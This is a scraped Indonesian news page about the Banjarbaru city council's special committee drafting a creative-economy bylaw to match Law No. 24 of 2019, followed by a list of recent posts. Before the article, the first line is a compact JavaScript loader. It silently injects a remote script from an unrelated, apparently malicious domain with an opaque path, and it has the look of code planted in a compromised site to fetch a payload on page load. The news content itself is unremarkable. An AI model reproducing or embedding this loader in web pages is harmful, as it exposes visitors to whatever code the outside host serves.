(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD BANJARBARU

DPRD Banjarbaru Godok Raperda Ekraf Sinkronisasi dengan UU Ekraf


KANALKALIMANTAN.COM, BANJARBARU – Panitia Khusus (Pansus) X DPRD Kota Banjarbaru tengah menggodok Rancangan Peraturan Daerah (Raperda) Ekonomi Kreatif (Ekraf) sinkronisasi dengan Undang-Undang Nomor 24 tahun 2019 tentang Ekraf.

Ketua Pansus X Windi Novianto mengatakan, sinkronisasi Raperda dengan UU itu tergambar dari Diskusi Kelompok Terpumpun digelar Kemenparekraf akhir November kemarin.

“Hasil diskusi kelompok terpumpun dinyatakan sinkronisasi bisa disebutkan draf Raperda Ekraf yang digodok, telah sesuai dengan regulasi yang lebih tinggi atau Undang-Undang,” ujar Windi, Kamis (1/12/2022).

Menurut Windi yang juga Ketua Bapemperda DPRD Banjarbaru tema diskusi kelompok terpumpun yakni sinkronisasi regulasi pusat dan daerah bidang Ekraf digelar oleh Kemenparekraf RI.

 

 

Baca juga: Publikasi Data Stunting dan Deklarasi Program Basno di Barsel

Meski sudah sinkronisasi dan sesuai UU, Kemenparekraf RI memberikan masukan diantaranya sejumlah bagian konsideran dihapus, serta terkait Badan Layanan Umum Daerah (BLUD) yang dihapus.

“Pendirian BLUD Ekraf tercantum dalam UU Ekraf tetapi di Raperda kita hapus, karena melihat kondisi dan realita di Banjarbaru hanya rumah sakit dan Puskesmas, namun BLUD pelayanan pasar belum,” ucapnya.

Masukan Kemenparekraf RI lainnya yakni sanksi administratif yang tertuang di dalam Raperda bisa dihapus dengan tujuan tidak membebani pelaku Ekraf di ibu kota Provinsi Kalsel itu.

Hasil sinkronisasi dari Kemenparekraf RI akan dibahas oleh Pansus X bersama Disporabudpar Banjarbaru untuk penyempurnaan atas saran dan masukan yang telah diberikan Kemenparekraf RI.

“Pembahasan Raperda Ekraf sudah memasuki finalisasi bulan Desember ini dan segera disahkan jika semua sudah melalui tahapan dan proses yang berlaku di DPRD Banjarbaru,” tandas Windi.

Baca juga: Pulau Sampah di Sungai Martapura, ‘PR’ Kota Seribu Sungai yang Selalu Berulang-ulang

Sementara itu, Direktur Regulasi Kemenparekraf RI, Sabartua Tampubolon mengatakan, UU Nomor 24 Tahun 2019 adalah payung hukum yang diinisiasi DPR RI dan sama dengan Raperda Ekraf yang diinisiasi DPRD Banjarbaru.

“Kami mengapresiasi langkah DPRD Kota Banjarbaru yang menginisiasi Raperda Ekraf. Semoga Raperda yang masih digodok segera diundangkan,” ujarnya saat diskusi kelompok terpumpun. (Kanalkalimantan.com/al)

Reporter : al
Editor : kk


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.